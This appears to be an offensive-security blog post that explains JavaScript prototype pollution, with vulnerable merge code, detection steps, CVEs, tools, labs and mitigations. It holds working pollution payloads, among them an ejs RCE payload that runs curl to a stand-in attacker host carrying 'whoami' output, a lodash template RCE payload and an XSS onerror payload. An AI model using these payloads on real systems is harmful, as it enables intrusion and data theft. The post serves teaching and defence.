Prototype Pollution: Hacking JavaScript From the Inside

9 min read

November 16, 2025

🚧 Site Migration Notice

I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.

If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

Prototype Pollution: Hacking JavaScript From the Inside

Table of contents

Contents

👋 Introduction

Hey everyone!

Ever wondered how a simple __proto__ property could compromise an entire Node.js application? Or how attackers turn innocent merge operations into remote code execution?

Prototype Pollution is one of those vulnerabilities that feels like dark magic. It exploits JavaScript’s inheritance mechanism to inject properties into every object in the application. The result? Authentication bypasses, XSS, denial of service, and in the worst cases, full RCE.

Unlike SQL injection or XSS, Prototype Pollution is uniquely JavaScript. It targets the language itself, not just bad input handling. And because JavaScript powers modern APIs, serverless functions, and frontend frameworks, this attack surface is massive.

In this issue, we’ll break down:

  • How JavaScript prototypes actually work
  • What makes Prototype Pollution possible
  • How to detect and exploit it
  • Turning pollution into RCE via template engines
  • Client-side pollution for XSS
  • Real-world CVEs and their impact

If you’re pentesting Node.js apps, REST APIs, or React/Vue/Angular frontends, this is essential knowledge.

Let’s pollute some prototypes 👇

🧠 JavaScript Prototypes: The Foundation

Before we exploit prototypes, we need to understand what they are.

The Prototype Chain

In JavaScript, every object inherits from Object.prototype. When you access a property, JavaScript walks up the prototype chain until it finds the property or hits null.

const user = { name: "Alice" };

console.log(user.name);          // "Alice" (own property)
console.log(user.toString);      // [Function] (inherited from Object.prototype)
console.log(user.nonExistent);   // undefined

The chain looks like this:

user → Object.prototype → null

When you create an object, it automatically links to Object.prototype via an internal [[Prototype]] property. You can access this via:

  • __proto__ (deprecated but widely supported)
  • Object.getPrototypeOf(obj)
  • Object.setPrototypeOf(obj, proto)

The Danger: Modifying Object.prototype

Here’s where it gets dangerous. If you can inject properties into Object.prototype, every object in the application inherits them.

// Pollute the prototype
Object.prototype.isAdmin = true;

// Now EVERY object has isAdmin
const user = {};
console.log(user.isAdmin);  // true

const config = {};
console.log(config.isAdmin);  // true

This is Prototype Pollution. An attacker modifies the base prototype, and suddenly properties appear everywhere.

🧨 How Prototype Pollution Happens

Prototype Pollution occurs when applications merge user input into objects without sanitizing property names. The classic vulnerable pattern is recursive merge functions.

Vulnerable Code: Recursive Merge

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);  // Recursive merge
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Vulnerable usage
const userInput = JSON.parse(req.body);
const config = {};
merge(config, userInput);

The Attack:

An attacker sends:

{
  "__proto__": {
    "isAdmin": true
  }
}

When merge() processes __proto__, it modifies Object.prototype.isAdmin. Now every object in the application has isAdmin: true.

Why This Works

The key __proto__ is special. Setting obj.__proto__ doesn’t create a property on obj; it modifies the object’s prototype. So:

const obj = {};
obj.__proto__.polluted = "yes";

const anotherObj = {};
console.log(anotherObj.polluted);  // "yes"

The pollution propagates globally.

Alternative Pollution Vectors

Besides __proto__, attackers can use:

  • constructor.prototype - modifies the constructor’s prototype
  • prototype (if manipulating constructor functions directly)
{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}

Both achieve the same goal: inject properties into Object.prototype.

🔍 Detecting Prototype Pollution

Manual Detection

Look for:

  • Recursive merge/clone functions - especially custom implementations
  • Object assignment without property filtering - Object.assign(), _.merge(), $.extend()
  • JSON parsing into objects - if the result is merged into configuration
  • Library usage - older versions of lodash, jQuery, hoek, etc.

Testing for Pollution

Send payloads like:

{
  "__proto__": {
    "testPollution": "vulnerable"
  }
}

Then check if the property appears globally:

const test = {};
console.log(test.testPollution);  // "vulnerable" = polluted

For automated detection tools, see the Tools of the Trade section below.

💥 Exploitation: From Pollution to Impact

Finding prototype pollution is step one. Weaponizing it requires finding a gadget: code that uses the polluted property in a dangerous way.

1. Authentication Bypass

function isAdmin(user) {
  if (user.isAdmin) {
    return true;
  }
  return false;
}

const user = {};  // No isAdmin property
console.log(isAdmin(user));  // false

// After pollution
Object.prototype.isAdmin = true;
console.log(isAdmin(user));  // true (BYPASSED)

Real-World Example: Many applications check for privilege flags like user.role === 'admin'. If the property doesn’t exist, JavaScript checks the prototype. Pollute the prototype with the right value, and you’re admin.

2. Remote Code Execution via Template Engines

This is where Prototype Pollution gets truly dangerous. Template engines like ejs, handlebars, pug, and mustache often use object properties to configure behavior. Pollute the right property, and you can inject code.

Example: RCE via ejs (CVE-2022-29078)

The ejs template engine uses opts.outputFunctionName to define the function name in compiled templates. If polluted, you can inject arbitrary code.

// Pollution payload
{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl attacker.com?data=$(whoami)');var __output"
  }
}

// When ejs compiles a template, it executes the polluted code

Lodash Template Gadget:

Lodash’s _.template() function is another common RCE vector:

// Pollute with malicious sourceURL
{
  "__proto__": {
    "sourceURL": "\\n;console.log(process.mainModule.require('child_process').execSync('id').toString());//"
  }
}

3. Denial of Service (DoS)

Pollute properties that cause infinite loops or crashes:

{
  "__proto__": {
    "toString": "not a function"
  }
}

Or pollute with null to break property accesses:

{
  "__proto__": {
    "query": null
  }
}

4. Client-Side XSS

In browsers, prototype pollution can lead to XSS if the polluted property is rendered in the DOM.

// Vulnerable code
document.getElementById('output').innerHTML = obj.userContent || 'No content';

// Pollution payload
{
  "__proto__": {
    "userContent": "<img src=x onerror=alert(document.domain)>"
  }
}

DOM Clobbering + Prototype Pollution:

Combine with DOM clobbering for more impact:

<form id="__proto__"><input name="isAdmin" value="true"></form>

🛡️ Real-World CVEs

Major libraries affected by Prototype Pollution:

Lodash (CVE-2019-10744): Versions before 4.17.12 vulnerable in _.defaultsDeep(). Critical severity allowing object prototype manipulation.

Lodash (CVE-2020-8203): Versions before 4.17.20 vulnerable in _.zipObjectDeep(). CVSS 7.4 HIGH severity.

ejs (CVE-2022-29078): Template engine RCE via outputFunctionName pollution. CVSS 9.8 CRITICAL allowing full server compromise.

jQuery (CVE-2019-11358): Versions before 3.4.0 vulnerable in $.extend(true, ...). Can lead to XSS in web applications.

minimist (CVE-2020-7598): Command line argument parser before 1.2.2 allows prototype pollution via constructor payloads.

🛠️ Tools of the Trade

Detection & Exploitation:

  • ppmap - Detects and exploits client-side prototype pollution in web applications with automatic gadget fingerprinting and XSS payload generation
  • DOM Invader (Burp Suite Pro) - Detects client-side prototype pollution automatically
  • server-side-prototype-pollution (Burp Extension) - Automates server-side pollution testing
  • ppfuzz - Fast Rust-based fuzzer for client-side prototype pollution that fingerprints script gadgets and generates exploitation payloads

Static Analysis:

  • NodeJsScan - Static analyzer that detects pollution patterns in Node.js code
  • npm audit - Detects known vulnerable dependencies
  • Semgrep - Custom rules for detecting vulnerable merge functions
  • CodeQL - Queries for prototype pollution patterns
  • eslint-plugin-security - ESLint plugin that detects some security patterns including prototype pollution

🧪 Labs & Practice

PortSwigger Web Security Academy:

HackTheBox:

  • Pollution: Hard Linux machine using constructor.prototype pollution to achieve privilege escalation and RCE
  • Gunship: Web challenge exploiting AST injection in Pug template engine via prototype pollution (easy)
  • Breaking Grad: Challenge demonstrating constructor.prototype bypass when __proto__ is filtered (medium)

🔒 Mitigation & Defense

For Developers:

  1. Freeze prototypes (breaks pollution entirely):
Object.freeze(Object.prototype);
Object.freeze(Object);
  1. Use safe alternatives:
// Instead of recursive merge
const config = Object.assign({}, defaults, userInput);

// Or with spread operator
const config = { ...defaults, ...userInput };
  1. Filter dangerous keys:
function safeMerge(target, source) {
  const dangerousKeys = ['__proto__', 'constructor', 'prototype'];

  for (let key in source) {
    if (dangerousKeys.includes(key)) continue;

    if (typeof source[key] === 'object') {
      target[key] = safeMerge({}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}
  1. Use Map instead of objects:
const config = new Map();
config.set('key', 'value');
// No prototype chain to pollute
  1. Create objects without prototypes:
const obj = Object.create(null);
// obj.__proto__ is undefined

For Pentesters:

  • Always test recursive merge functions
  • Check for gadgets in template engines
  • Fuzz with various pollution vectors
  • Look for chained vulnerabilities (pollution → gadget → RCE)
  • Test both __proto__ and constructor.prototype

🎯 Key Takeaways

  • Prototype Pollution exploits JavaScript’s inheritance by polluting Object.prototype to inject properties globally
  • Common in merge/clone functions, especially recursive implementations
  • Requires a gadget for impact. Find code that uses the polluted property dangerously
  • RCE is possible via template engines and eval like constructs as prime targets
  • Client side is exploitable where DOM manipulation can lead to XSS
  • Mitigation is straightforward using frozen prototypes, key filtering, or Maps
  • Major libraries were vulnerable. Always update dependencies

📚 Further Reading


That’s it for this week! Next issue, we’ll dive into File Upload Vulnerabilities, covering everything from bypassing filters to achieving RCE via webshells.

If you found this useful, share it with your team. And if you spot prototype pollution in the wild, let me know. I love hearing about real world finds.

Stay curious, stay secure 🔐

— Ruben

Chapters

Docker Escape: Breaking Out of Containers
Docker Escape: Breaking Out of Containers

Previous Issue

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media